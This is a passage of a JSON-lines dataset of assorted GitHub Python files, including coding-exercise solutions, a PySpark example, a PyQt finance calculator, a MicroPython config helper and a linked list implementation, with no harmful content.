plt.savefig(f'{out_dir}/confusion_matrix.png')\n\n # Calculate Shapley values.\n explainer = shap.TreeExplainer(brc)\n shap_values = explainer.shap_values(X_test)\n\n # Write feature Shapley values to CSV.\n mean_feature_shap_values = np.abs(shap_values).mean(0).mean(0)\n df_shap = pd.DataFrame(mean_feature_shap_values, columns=[constants.SHAP_VALUE])\n df_shap[constants.FEATURE] = constants.FEATURE_PREFIX + df_shap.index.astype(str)\n df_shap = df_shap[[constants.FEATURE, constants.SHAP_VALUE]]\n df_shap = df_shap.sort_values(by=constants.SHAP_VALUE, ascending=False)\n df_shap.to_csv(f'{out_dir}/{out_file_name}', index=False)","repo_name":"MattHodgman/RxRx19aDLBatchCorrect","sub_path":"python_scripts/disease_cond_shap.py","file_name":"disease_cond_shap.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2838467569","text":"l=[1,1,2,2,1,3,2,4,5,2,6,7,8,9]\nl_set = set(l)\n\ndic = {}\nfor key in l_set:\n indexes = []\n for i in range(len(l)):\n if l[i]==key:\n indexes.append(i)\n dic.update({key:indexes})\n\nn = int(input(\"Enter integer to check: \"))\n\nif n in dic:\n print(f\"frequency is {len(dic[n])} and indexes are {dic[n]}\")\nelse:\n print(\"Number not in list\")\n","repo_name":"SakshxmSingh/CSE101---IP","sub_path":"2022434_SakshamSingh/q7.py","file_name":"q7.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"15401768315","text":"class Solution(object):\n def numberToWords(self, num):\n \"\"\"\n :type num: int\n :rtype: str\n \"\"\"\n units = ['Zero', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine']\n tens = ['Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen', 'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', 'Nineteen']\n tens1 = ['Twenty', 'Thirty', 'Forty', 'Fifty', 'Sixty', 'Seventy', 'Eighty', 'Ninety']\n \n \n def interpretNumber(num):\n if num < 10: # 0 - 9\n return units[num]\n elif num < 20: # 10 - 19\n return tens[num-10]\n elif num < 100: # 20 - 99\n div, mod = divmod(num, 10)\n if mod != 0:\n return tens1[div-2] + \" \" + interpretNumber(mod)\n return tens1[div-2]\n elif num < 1000: # 100 - 999\n div, mod = divmod(num, 100)\n if mod != 0:\n return interpretNumber(div) + \" Hundred \" + interpretNumber(mod)\n return interpretNumber(div) + \" Hundred\"\n elif num < 1000000: # 1,000 - 999,999\n div, mod = divmod(num, 1000)\n if mod != 0:\n return interpretNumber(div) + \" Thousand \" + interpretNumber(mod)\n return interpretNumber(div) + \" Thousand\"\n elif num < 1000000000: # 1,000,000 - 999,999,999\n div, mod = divmod(num, 1000000)\n if mod != 0:\n return interpretNumber(div) + \" Million \" + interpretNumber(mod)\n return interpretNumber(div) + \" Million\"\n else:\n div, mod = divmod(num, 1000000000)\n if mod != 0:\n return interpretNumber(div) + \" Billion \" + interpretNumber(mod)\n return interpretNumber(div) + \" Billion\"\n\n return interpretNumber(num)\n\n\n\"\"\"\nConvert a non-negative integer to its english words representation. Given input is guaranteed to be less than 231 - 1.\n\nExample 1:\n\nInput: 123\nOutput: \"One Hundred Twenty Three\"\nExample 2:\n\nInput: 12345\nOutput: \"Twelve Thousand Three Hundred Forty Five\"\nExample 3:\n\nInput: 1234567\nOutput: \"One Million Two Hundred Thirty Four Thousand Five Hundred Sixty Seven\"\nExample 4:\n\nInput: 1234567891\nOutput: \"One Billion Two Hundred Thirty Four Million Five Hundred Sixty Seven Thousand Eight Hundred Ninety One\"\n\"\"\"\nclass Solution:\n def numberToWords(self, num: int) -> str:\n if not num:\n return 'Zero'\n q = collections.deque()\n while num:\n q.append(num%1000)\n num //= 1000\n suffix = ['', 'Thousand', 'Million', 'Billion', 'Trillion', 'Gazillion', 'Megamillion']\n suffixIndex = 0\n res = []\n while q:\n lowest = q.popleft()\n lowestString = self.getHundreds(lowest)\n if lowest:\n res.append(suffix[suffixIndex])\n print(lowestString)\n res += lowestString[::-1]\n suffixIndex += 1\n return ' '.join([e for e in res[::-1] if e])\n \n \n def getHundreds(self, n):\n \"\"\"\n return the list for numbers less than a thousand\n \"\"\"\n print(n)\n if n >= 100:\n return self.getHundreds(n//100) + ['Hundred'] + (self.getHundreds(n%100) if n%100 else [])\n if n > 20:\n tenths = {2: 'Twenty', 3: 'Thirty', 4: 'Forty', 5: 'Fifty', 6: 'Sixty', 7: 'Seventy', 8: 'Eighty', 9: 'Ninety'}\n return [tenths[n//10]] + (self.getHundreds(n%10) if n%10 else [])\n \n n = 0 if n < 1 else n\n belowTwenty = {0: '', 1: 'One', 2: 'Two', 3: 'Three', 4: 'Four', 5: 'Five', 6: 'Six', 7: 'Seven', 8: 'Eight', 9: 'Nine', 10: 'Ten', 11: 'Eleven', 12: 'Twelve', 13: 'Thirteen', 14: 'Fourteen', 15: 'Fifteen', 16: 'Sixteen', 17: 'Seventeen', 18: 'Eighteen', 19: 'Nineteen', 20: 'Twenty'}\n return [belowTwenty[n]]\n \n \n","repo_name":"Bennyhwanggggg/Algorithm-and-Data-Structures-and-Coding-Challenges","sub_path":"Challenges/intergerToEnglishWords.py","file_name":"intergerToEnglishWords.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"3505380441","text":"import datetime\nimport tensorflow as tf\nimport json\nimport numpy as np\nimport os\nfrom share import data_format\nfrom share import week_lstm\nfrom share import lstm_no_tai\nimport logging\nimport sys\n\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n stream=sys.stdout)\n\ndef get_main(num=10):\n p = week_lstm.week_lstm_predict()\n datas = p.predict_all()\n week_lstm_s1 = {}\n week_lstm_num=0\n\n items = sorted(datas.items(), key=lambda item: item[1][0][0][0], reverse=True)\n for item in items:\n\n if p.Data_Format.has_item(data_format.SHARE_TYPE_1, item[0]):\n print(item)\n week_lstm_s1[item[0]]=item[1]\n week_lstm_num+=1\n\n if week_lstm_num>num:\n break\n\n\n p = lstm_no_tai.lnt_predict()\n datas = p.predict_all()\n lnt_s1 ={}\n lnt_num=0\n items = sorted(datas.items(), key=lambda item: item[1][0][0][1], reverse=True)\n\n for item in items:\n if p.Data_Format.has_item(data_format.SHARE_TYPE_1, item[0]):\n print(item)\n lnt_s1[item[0]]=item[1]\n lnt_num+=1\n\n if lnt_num > num:\n break\n\n print(set(lnt_s1.keys())&set(week_lstm_s1))\n for key in set(lnt_s1.keys())&set(week_lstm_s1):\n print(key,week_lstm_s1[key],lnt_s1[key])\n\ndef recommend_week_lstm(num=100):\n p = week_lstm.week_lstm_predict()\n datas = p.predict_all()\n week_lstm_s1 = {}\n week_lstm_num = 0\n\n items = sorted(datas.items(), key=lambda item: item[1][0][0][0], reverse=True)\n for item in items:\n\n if p.Data_Format.has_item(data_format.SHARE_TYPE_1, item[0]):\n print(item)\n week_lstm_s1[item[0]] = item[1]\n week_lstm_num += 1\n\n if week_lstm_num > num:\n break\n print(\"-------------------------------------------------\")\n for key in week_lstm_s1.keys():\n r,u,d=rise_days(key)\n print(key,r,u,d,week_lstm_s1[key])\n\ndef recommend_day_lstm(num=100):\n p = lstm_no_tai.lnt_predict()\n datas = p.predict_all()\n lnt_s1 = {}\n lnt_num = 0\n items = sorted(datas.items(), key=lambda item: item[1][0][0][1], reverse=True)\n\n for item in items:\n if p.Data_Format.has_item(data_format.SHARE_TYPE_1, item[0]):\n print(item)\n lnt_s1[item[0]] = item[1]\n lnt_num += 1\n\n if lnt_num > num:\n break\n print(\"-------------------------------------------------\")\n for key in lnt_s1.keys():\n r,u,d=rise_days(key,num=10)\n if r:\n print(key,r,u,d,lnt_s1[key])\n\n\n\ndef rise_days(ts_code,num=7,min_days=6):\n df=data_format.Data_Format()\n true_num=0\n flase_num=0\n for item in df.get_real_data(ts_code,num):\n if item[1]==1:\n true_num+=1\n else:\n flase_num+=1\n return true_num>min_days,true_num,flase_num\n\n\n\n\n\n\n\nif __name__ == '__main__':\n # get_main(num=100)\n # recommend_week_lstm()\n recommend_day_lstm()","repo_name":"hrl13260130208/share","sub_path":"share/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13545695153","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'Ljian'\n\nimport threading\n\nbalance = 0\n\ndef change_it(n):\n global balance\n balance = balance + n\n balance = balance - n\n\ndef run_thread(lock, n):\n for i in range(100):\n lock.acquire()\n try:\n change_it(n)\n finally:\n lock.release()\n\n\nif __name__ == '__main__':\n lock = threading.Lock()\n\n t1 = threading.Thread(target=run_thread, args=(lock, 2))\n t2 = threading.Thread(target=run_thread, args=(lock, 3))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n print(balance)\n\n","repo_name":"ljian1992/Demo","sub_path":"Python3.4_demo/process_thread/thread/thread_lock.py","file_name":"thread_lock.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2236055518","text":"with open('recipes.txt', 'r') as recipes:\n cook_book = {}\n for rec in recipes:\n if rec == '\\n':\n continue\n else:\n list_dict = []\n name_recipes = rec.strip()\n count_ing = int(recipes.readline())\n for ing in range(count_ing):\n ingredient = recipes.readline().split('|')\n ing_dict = {'ingredient_name': ingredient[0],\n 'quantity': ingredient[1],\n 'measure': ingredient[2].strip()}\n list_dict.append(ing_dict)\n cook_book[name_recipes] = list_dict\n print(cook_book)\n\n\ndef shop_list(dishes, person_count):\n amount_ingredients = {}\n for dish in dishes:\n if dish in cook_book.keys():\n for i in cook_book.get(dish):\n dict_count = {'quantity': int(i.get('quantity')) * person_count, 'measure': i.get('measure')}\n amount_ingredients[i.get('ingredient_name')] = dict_count\n print(amount_ingredients)\n\n\nprint()\nshop_list(['Запеченный картофель', 'Омлет'], 5)\n","repo_name":"DeadLayman/read_write_file","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29431105540","text":"from pyspark import SparkContext, SparkConf\n\nconf = SparkConf().setMaster('local').setAppName('fake_friends')\nsc = SparkContext(conf = conf)\n\ndef parse_line(line):\n fields = line.split(',')\n age = 0\n num_friends = 0\n if int(fields[2]) > 30:\n age = int(fields[2])\n num_friends = int(fields[3])\n return (age, num_friends)\n\nlines = sc.textFile('fakefriends.csv')\n\nrdd = lines.map(parse_line)\nfilter_age = rdd.mapValues(lambda x: x != 0)\ntotal_age = rdd.mapValues(lambda x: (x, 1)).reduceByKey(lambda x, y: (x[0] + y[0], x[1] + y[1]))\naverage_age = total_age.mapValues(lambda x: x[0] / x[1])\nresults = average_age.collect()\n\nfor result in results:\n print(result)","repo_name":"mohripan/Spark-for-HDP-Sandbox","sub_path":"fake_friends.py","file_name":"fake_friends.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6498530058","text":"#attempt2: Insert into an ordered list sort of array\nclass MyCalendar:\n \n def __init__(self):\n self.li=[]\n self.curlen=0\n\n def book(self, start: int, ends: int) -> bool:\n if self.curlen==0:\n self.curlen=1\n self.li.append((start,ends))\n return True\n parent=-1\n end=0\n while(end=ends:\n break\n parent=end\n end=end+1\n if parent==-1:\n if start>=self.li[end][0]:\n return False\n self.li=[(start,ends)]+self.li\n self.curlen+=1\n return True\n if end==self.curlen:\n if self.li[parent][0]=self.li[parent][-1] and self.li[end][0]>start and self.li[end][0]>=ends:\n self.li=self.li[:end]+[(start,ends)]+self.li[end:]\n self.curlen+=1\n return True\n return False\n\n# Your MyCalendar object will be instantiated and called as such:\n# obj = MyCalendar()\n# param_1 = obj.book(start,end)\n\n#attempt1: WA because didnt take into consideration: that end of an interval has to be considered for adding inttervals\n#didnt add things properly into the list\n'''\nfrom bisect import bisect_right\nclass MyCalendar:\n \n def __init__(self):\n self.li=[]\n self.di={}\n self.curlen=0\n \n def book(self, start: int, end: int) -> bool:\n pos=bisect_right(self.li,start)\n if pos==self.curlen:\n if self.curlen==0:\n self.li.append(start)\n self.di[self.curlen]=end\n self.curlen+=1\n return True\n else:\n if start>self.li[pos-1] and start>=self.di[pos-1]:\n self.li.append(start)\n self.di[self.curlen]=end\n self.curlen+=1\n return True\n return False\n else:\n if start>self.li[pos-1] and start>=self.di[pos-1] and start config/your_file.json\nconf.setup()\n\nconf.create_from_query(\"a=1&b=2\")\nconf.set(\"c\",3)\nconf.save()\n\nampy -p /COM6 put ./config/__init__.py config/__init__.py\n\"\"\"\n\n__version__ = \"1.0.1\"\n\nclass Conf:\n TW = 50\n\nimport ujson\nfrom ucollections import OrderedDict\n\n# convert query \"a=1&b=2\" to dict {'a': '1', 'b': '2'}\n# test: q = (\"a=1&b=2&x3=3&y5=5&z7=7\")\ndef query2dict(q):\n d = dict([v.split(\"=\", 1) for v in q.split(\"&\") if \"=\" in v])\n # d = OrderedDict(d)\n return d\n\n\nclass Config():\n def __init__(self, name=\"test\", keys = [\"version\",\"default_null_test\"], conf_data = [[\"config version\", \"version\"], [\"NULL Test\", \"default_null_test\"]]):\n self.file = \"config/\" + name + \".json\"\n self.keys = keys\n self.conf_data = conf_data\n\n try:\n with open(self.file, 'r') as f:\n d = f.read()\n f.close()\n self.config = ujson.loads(d)\n except OSError:\n # FileNotFound\n self.config = {}\n\n def get(self, key):\n return self.config.get(key)\n\n\n def set(self, key, value):\n self.config[key] = value\n\n\n def save(self, ordered = False):\n # dump updated setting into json\n print(\"Writing new config item to file %s\" % self.file)\n with open(self.file, 'w') as f:\n if ordered:\n ujson.dump(self.config, f)\n else:\n ujson.dump(OrderedDict(self.config), f)\n\n\n def create_from_query(self,q):\n self.config = query2dict(q)\n print(self.config)\n\n\n def setup(self):\n while True:\n print()\n print('=' * Conf.TW)\n print(' S E T U P - ' + self.file)\n print('=' * Conf.TW)\n # show options with current values\n c = 0\n for i in self.keys:\n c += 1\n print(\"[%2d] - %16s - %s\" % (c, i, self.config[i] if i in self.config else \"\"))\n\n print(\"[q] - Quit from json setup\")\n\n print('=' * Conf.TW)\n sele = input(\"select: \")\n\n if sele == \"q\":\n # done with editing\n break\n\n try:\n sele = int(sele)\n except ValueError:\n print(\"Invalid input, try again.\")\n\n # change selected item if integer\n if sele > 0 and sele <= len(self.keys):\n # print attribute name and description\n print()\n # print current value\n try:\n # new_val = int(input(\"New Value: \"))\n new_val = input(\"New Value: \")\n try:\n new_val = int(new_val)\n except:\n pass\n except ValueError:\n # if invalid input, 0 is inserted\n new_val = 0\n\n # update config object\n print(self.keys[sele-1] + \"->\" + str(new_val))\n self.config[self.keys[sele-1]] = new_val\n self.save()\n else:\n print(\"Invalid input, try again.\")\n\n\n def print(self): # list_for_keys\n print()\n print('=' * Conf.TW)\n for ix in self.conf_data:\n try:\n print(\" %25s - %s \" % (ix[0], self.config[ix[1]] ))\n except:\n Err_print_config = True\n print('=' * Conf.TW)\n\n\n def print_all(self):\n print()\n print('-' * Conf.TW)\n for ix in self.config:\n try:\n # print(ix, cc[ix]) # dict{}\n print(\" %25s - %s \" % (ix, self.config[ix]))\n except:\n Err_print_config = True\n print('-' * Conf.TW)\n\n\n def __str__(self):\n print(self.file)\n print(self.config)\n print(\"Keys: \")\n print(self.keys)\n self.print_all()\n print(\".create_from_query(q) | .save()\")\n print(\".get(k) | .set(k,v) | .setup()\")\n print(\".list_all() | .list_for_keys()\")\n","repo_name":"octopusengine/octopuslab","sub_path":"esp32-micropython/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4252,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"47"} +{"seq_id":"20391965794","text":"import os\n\ndev_user = os.environ['DEV_USER']\nvdp_profile = os.environ['VDP_PROFILE']\njfrog_api = os.environ['JFROG_APIKEY']\nhost = os.environ['DEPLOYMENT_HOST']\ndev_namespace = os.environ['DEV_USERNAME']\njenkins_password = os.environ['JENKINS_PASSWORD']\ncsp_token = os.environ['CSP_TOKEN']\njenkins_user = \"jenkins\"\ncur_workspace= os.environ['WORKSPACE']\n# for non system call commands\nNON_SYS_COMMANDS = {\n \"kubectl\": \"/usr/local/bin/kubectl\",\n \"tilt\": \"~/.local/bin/tilt\",\n \"vdp\": \"~/bin/vdp\",\n \"remote_home\": \"/home/jenkins\",\n \"hcxaas_home\": \"~/workspace/hcx_saas/hcxaas-gitops\",\n \"log_home\": \"~/workspace/hcx_saas/logs\",\n \"cleanup\": \"~/workspace/hcx_saas/hcxaas-gitops/charts/dev-stack-cleanup/cleanup.sh\",\n \"cleanup_home\": \"~/workspace/hcx_saas/hcxaas-gitops/charts/dev-stack-cleanup\",\n \"stack_deployer_home\": \"~/workspace/hcx_saas/easley-developer-stack-tool\",\n \"stack_deployer\": \"~/workspace/hcx_saas/easley-developer-stack-tool/devStackDeployer.sh\",\n \"cur_workspace\": cur_workspace\n}\n\nprint( \"current wprospce is %s \" % NON_SYS_COMMANDS[\"cur_workspace\"])","repo_name":"Roberttguo/devops","sub_path":"jenkins_jobs/test_workspace_loc.py","file_name":"test_workspace_loc.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40435866036","text":"from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QLineEdit, QPushButton, QDialog, QDialogButtonBox, QVBoxLayout, QRadioButton, QWidget, QMessageBox, QInputDialog\r\nimport math\r\n\r\nclass CalculationTypeDialog(QDialog):\r\n \"\"\"Dialog for selecting the calculation type: investment or bond.\"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n self.setWindowTitle(\"Calculation Type\")\r\n self.layout = QVBoxLayout(self)\r\n self.investment_radio = QRadioButton(\"Investment\")\r\n self.bond_radio = QRadioButton(\"Bond\")\r\n self.button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel)\r\n self.button_box.accepted.connect(self.accept)\r\n self.button_box.rejected.connect(self.reject)\r\n self.layout.addWidget(self.investment_radio)\r\n self.layout.addWidget(self.bond_radio)\r\n self.layout.addWidget(self.button_box)\r\n\r\n def get_calculation_type(self):\r\n \"\"\"Returns the selected calculation type: 'investment' or 'bond'.\"\"\"\r\n if self.exec_() == QDialog.Accepted:\r\n if self.investment_radio.isChecked():\r\n return \"investment\"\r\n if self.bond_radio.isChecked():\r\n return \"bond\"\r\n return None\r\n\r\nclass InvestmentDialog(QDialog):\r\n \"\"\"Dialog for investment calculation.\"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n self.setWindowTitle(\"Investment Calculation\")\r\n self.layout = QVBoxLayout(self)\r\n self.amount_label = QLabel(\"Amount:\")\r\n self.amount_edit = QLineEdit()\r\n self.rate_label = QLabel(\"Interest Rate:\")\r\n self.rate_edit = QLineEdit()\r\n self.time_label = QLabel(\"Investment Duration (in years):\")\r\n self.time_edit = QLineEdit()\r\n self.calculation_type_label = QLabel(\"Calculation Type:\")\r\n self.simple_radio = QRadioButton(\"Simple\")\r\n self.compound_radio = QRadioButton(\"Compound\")\r\n self.button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel)\r\n self.button_box.accepted.connect(self.accept)\r\n self.button_box.rejected.connect(self.cancel_dialog) # Connect rejected signal to custom slot\r\n self.layout.addWidget(self.amount_label)\r\n self.layout.addWidget(self.amount_edit)\r\n self.layout.addWidget(self.rate_label)\r\n self.layout.addWidget(self.rate_edit)\r\n self.layout.addWidget(self.time_label)\r\n self.layout.addWidget(self.time_edit)\r\n self.layout.addWidget(self.calculation_type_label)\r\n self.layout.addWidget(self.simple_radio)\r\n self.layout.addWidget(self.compound_radio)\r\n self.layout.addWidget(self.button_box)\r\n\r\n def cancel_dialog(self):\r\n # Clear input fields and selected calculation type\r\n self.amount_edit.clear()\r\n self.rate_edit.clear()\r\n self.time_edit.clear()\r\n self.simple_radio.setChecked(False)\r\n self.compound_radio.setChecked(False)\r\n \r\n def closeEvent(self, event):\r\n event.accept() # Accept the close event to close the window\r\n\r\n def get_inputs(self):\r\n \"\"\"Returns the input values for investment calculation.\"\"\"\r\n while True:\r\n try:\r\n p = float(self.amount_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid amount. Please enter a valid number.\")\r\n self.amount_edit.setText(\"\")\r\n self.amount_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n while True:\r\n try:\r\n r = float(self.rate_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid interest rate. Please enter a valid number.\")\r\n self.rate_edit.setText(\"\")\r\n self.rate_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n while True:\r\n try:\r\n t = float(self.time_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid investment duration. Please enter a valid number.\")\r\n self.time_edit.setText(\"\")\r\n self.time_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n calculation_type = \"\"\r\n if self.simple_radio.isChecked():\r\n calculation_type = \"simple\"\r\n elif self.compound_radio.isChecked():\r\n calculation_type = \"compound\"\r\n else:\r\n QMessageBox.warning(self, \"Calculation Type\", \"Please select a calculation type.\")\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None, None\r\n\r\n return p, r, t, calculation_type\r\n\r\nclass BondDialog(QDialog):\r\n \"\"\"Dialog for bond calculation.\"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n self.setWindowTitle(\"Bond Calculation\")\r\n self.layout = QVBoxLayout(self)\r\n self.present_value_label = QLabel(\"Present Value:\")\r\n self.present_value_edit = QLineEdit()\r\n self.interest_rate_label = QLabel(\"Interest Rate:\")\r\n self.interest_rate_edit = QLineEdit()\r\n self.duration_label = QLabel(\"Loan Duration (in months):\")\r\n self.duration_edit = QLineEdit()\r\n self.button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel)\r\n self.button_box.accepted.connect(self.accept)\r\n self.button_box.rejected.connect(self.cancel_dialog) # Connect rejected signal to custom slot\r\n self.layout.addWidget(self.present_value_label)\r\n self.layout.addWidget(self.present_value_edit)\r\n self.layout.addWidget(self.interest_rate_label)\r\n self.layout.addWidget(self.interest_rate_edit)\r\n self.layout.addWidget(self.duration_label)\r\n self.layout.addWidget(self.duration_edit)\r\n self.layout.addWidget(self.button_box)\r\n \r\n def cancel_dialog(self):\r\n # Clear input fields\r\n self.present_value_edit.clear()\r\n self.interest_rate_edit.clear()\r\n self.duration_edit.clear()\r\n \r\n def closeEvent(self, event):\r\n event.accept() # Accept the close event to close the window\r\n\r\n def get_inputs(self):\r\n \"\"\"Returns the input values for bond calculation.\"\"\"\r\n while True:\r\n try:\r\n P = float(self.present_value_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid present value. Please enter a valid number.\")\r\n self.present_value_edit.setText(\"\")\r\n self.present_value_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n while True:\r\n try:\r\n i = float(self.interest_rate_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid interest rate. Please enter a valid number.\")\r\n self.interest_rate_edit.setText(\"\")\r\n self.interest_rate_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n while True:\r\n try:\r\n n = float(self.duration_edit.text())\r\n break\r\n except ValueError:\r\n QMessageBox.warning(self, \"Invalid Input\", \"Invalid loan duration. Please enter a valid number.\")\r\n self.duration_edit.setText(\"\")\r\n self.duration_edit.setFocus()\r\n if self.exec_() == QDialog.Rejected:\r\n return None, None, None\r\n\r\n return P, i, n\r\n\r\n\r\nclass MainWindow(QMainWindow):\r\n \"\"\"Main window for the finance calculator.\"\"\"\r\n def __init__(self):\r\n super().__init__()\r\n self.setWindowTitle(\"Finance Calculator\")\r\n\r\n self.result_label = QLabel(\"Calculation Result:\")\r\n self.result_label.setWordWrap(True)\r\n\r\n self.calculate_button = QPushButton(\"Start Calculation\")\r\n self.calculate_button.clicked.connect(self.calculate)\r\n\r\n self.back_button = QPushButton(\"Go Back\")\r\n self.back_button.clicked.connect(self.select_calculation_type)\r\n\r\n self.layout = QVBoxLayout()\r\n self.layout.addWidget(self.result_label)\r\n self.layout.addWidget(self.calculate_button)\r\n self.layout.addWidget(self.back_button)\r\n\r\n self.widget = QWidget()\r\n self.widget.setLayout(self.layout)\r\n self.setCentralWidget(self.widget)\r\n\r\n self.calculation_type = None\r\n self.dialog = None\r\n\r\n def calculate(self):\r\n \"\"\"Performs the selected calculation based on the calculation type.\"\"\"\r\n if self.calculation_type is None:\r\n QMessageBox.warning(self, \"Calculation Type\", \"Please select a calculation type.\")\r\n return\r\n\r\n if self.dialog is None:\r\n if self.calculation_type == \"investment\":\r\n self.dialog = InvestmentDialog()\r\n elif self.calculation_type == \"bond\":\r\n self.dialog = BondDialog()\r\n else:\r\n return\r\n\r\n dialog_result = self.dialog.exec_()\r\n if dialog_result == QDialog.Accepted:\r\n if self.calculation_type == \"investment\":\r\n p, r, t, calculation_type = self.dialog.get_inputs()\r\n if calculation_type == \"simple\":\r\n interest = r / 100 * p * t\r\n total_amount = p + interest\r\n result = f\"\\nInterest Rate: {r}%\\nTotal Investment: £{total_amount}\\nTotal Duration: {t} years\\nTotal Interest: £{interest}\"\r\n elif calculation_type == \"compound\":\r\n total_amount = p * math.pow((1 + r / 100), t)\r\n interest = total_amount - p\r\n result = f\"\\nInterest Rate: {r}%\\nTotal Investment: £{total_amount}\\nTotal Duration: {t} years\\nTotal Interest: £{interest}\"\r\n else:\r\n return\r\n elif self.calculation_type == \"bond\":\r\n P, i, n = self.dialog.get_inputs()\r\n m = i / 100 / 12\r\n repayment = int(round(m * P) / (1 - (1 + m) ** (-n)))\r\n interest_total = repayment * n - P\r\n total_loan = repayment * n\r\n result = f\"\\nMonthly Repayment: £{repayment}\\nInterest Rate: {i}%\\nLoan Duration: {n} months\\nTotal Interest Payable: £{interest_total}\\nTotal Repayable: {total_loan}\"\r\n else:\r\n return\r\n\r\n self.result_label.setText(result)\r\n self.dialog = None\r\n elif dialog_result == QDialog.Rejected:\r\n if self.dialog.get_inputs() is None:\r\n QMessageBox.warning(self, \"Notification\", \"Please select an option.\")\r\n self.select_calculation_type()\r\n\r\n def select_calculation_type(self):\r\n \"\"\"Displays the dialog to select the calculation type.\"\"\"\r\n self.result_label.setText(\"Calculation Result:\")\r\n self.calculation_type = None\r\n self.dialog = None\r\n dialog = CalculationTypeDialog()\r\n result = dialog.get_calculation_type()\r\n if result is not None:\r\n self.calculation_type = result\r\n else:\r\n reply = QMessageBox.warning(\r\n self, \"Warning\", \"Cancel: to go back to the main menu\\nClose: to quit the application.\",\r\n QMessageBox.Cancel | QMessageBox.Close, defaultButton=QMessageBox.Cancel\r\n )\r\n if reply == QMessageBox.Close:\r\n QApplication.quit() # Quit the application immediately\r\n elif reply == QMessageBox.Cancel:\r\n self.select_calculation_type() # Recursive call to return to the investments selection menu\r\n\r\nif __name__ == \"__main__\":\r\n app = QApplication([])\r\n window = MainWindow()\r\n window.select_calculation_type()\r\n window.show()\r\n app.exec_()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"stevehud23/finance-calculator-GUI","sub_path":"invest_gui.py","file_name":"invest_gui.py","file_ext":"py","file_size_in_byte":12311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20790481226","text":"class Node:\n def __init__(self,data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n \n #insertion operation\n\n def append(self,data): #insert at the end\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n itr = self.head\n while itr.next:\n itr = itr.next\n itr.next = new_node\n\n def prepend(self,data): #insert at the beginning\n new_node = Node(data)\n new_node.next = self.head\n self.head = new_node\n\n def insert_after(self,value,data): #insert after a particular value\n new_node = Node(data)\n itr = self.head\n while itr:\n if itr.data == value:\n new_node.next = itr.next\n itr.next = new_node\n new_node\n itr = itr.next\n\n #deletion Operation\n\n def delete_by_value(self,value):\n cur_node = self.head\n if cur_node and cur_node.data == value:\n self.head = cur_node.next \n cur_node = None\n return\n\n while cur_node:\n if cur_node.data != value:\n prev = cur_node\n else:\n prev.next = cur_node.next\n cur_node = cur_node.next\n\n\n def delete_by_position(self,index):\n cur_node = self.head\n count = 0\n if cur_node and index == 0:\n self.head = cur_node.next \n cur_node = None\n return\n while cur_node:\n if count != index:\n prev = cur_node\n else:\n prev.next = cur_node.next\n cur_node = cur_node.next\n count += 1\n \n #getting length of the linked list\n def get_length(self):\n count = 0\n itr = self.head\n while itr:\n count += 1\n itr = itr.next \n return(count) \n\n #Linked List traversal\n def print_list(self): #print the list\n itr = self.head\n while itr:\n print(itr.data)\n itr = itr.next\n\n\nLL = 